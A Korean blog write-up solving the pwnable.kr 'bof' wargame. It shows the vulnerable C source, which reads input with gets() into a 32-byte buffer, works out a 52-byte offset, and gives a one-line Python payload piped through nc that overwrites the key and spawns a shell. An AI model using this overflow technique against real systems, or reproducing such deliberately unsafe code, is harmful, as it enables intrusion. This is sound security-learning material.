할머니께서 버퍼오버플로우는 가장 쉬운 소프트웨어 취약점이라고 하셨다!! 이게 정말인가요~?~? 라는 문제다.
이전 문제들과 달리 nc로 접속하는 문제니까 우분투를 통해서 접속을 해보았다.
그냥 이러고 끝나버린다. bof공격을 해서 쉘을 따도록 하는 문제인 것 같다. 일단 문제에서 소스파일이랑 실행파일을 다운하라고 했으니까 다운로드 받아보자~!~!
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
해당 파일과 소스코드이다.
코드는 매우 간단하다. func에서 key를 인자로 받고 함수 안에서 overflowme라는 크기가 32인 배열을 만든다. 그 후 gets함수를 통해 overflowme에 문자열을 입력받는다. 그 후 만약 key가 0xcafebabe와 같다면 /bin/sh를 시스템함수를 사용해서 실행시킨다.
공격 시나리오는 매우 간단하다. gets함수는 매우 잘 알려있듯이 bof취약점이 존재하는 함수이고 이를 통해 key값을 변조하면 된다.
더미값을 알아내기 위해 아이다를 통해 확인해봤다.
배열의 시작주소는 ebp-2c이고 key값이 존재하는 곳은 ebp+8인 것을 알 수 있다. 즉 0x2c + 0x8 = 52이므로 52만큼 덮으면 key값을 변조할 수 있다. 이제 페이로드를 짜보자.
(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000
간단하게 성공~!~!
'pwnable > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] random (0) | 2019.01.15 |
---|---|
[pwnable.kr] passcode (0) | 2019.01.13 |
[pwnable.kr] flag (0) | 2019.01.12 |
[pwnable.kr] collision (2) | 2018.12.29 |
[pwnable.kr] fd (0) | 2018.12.27 |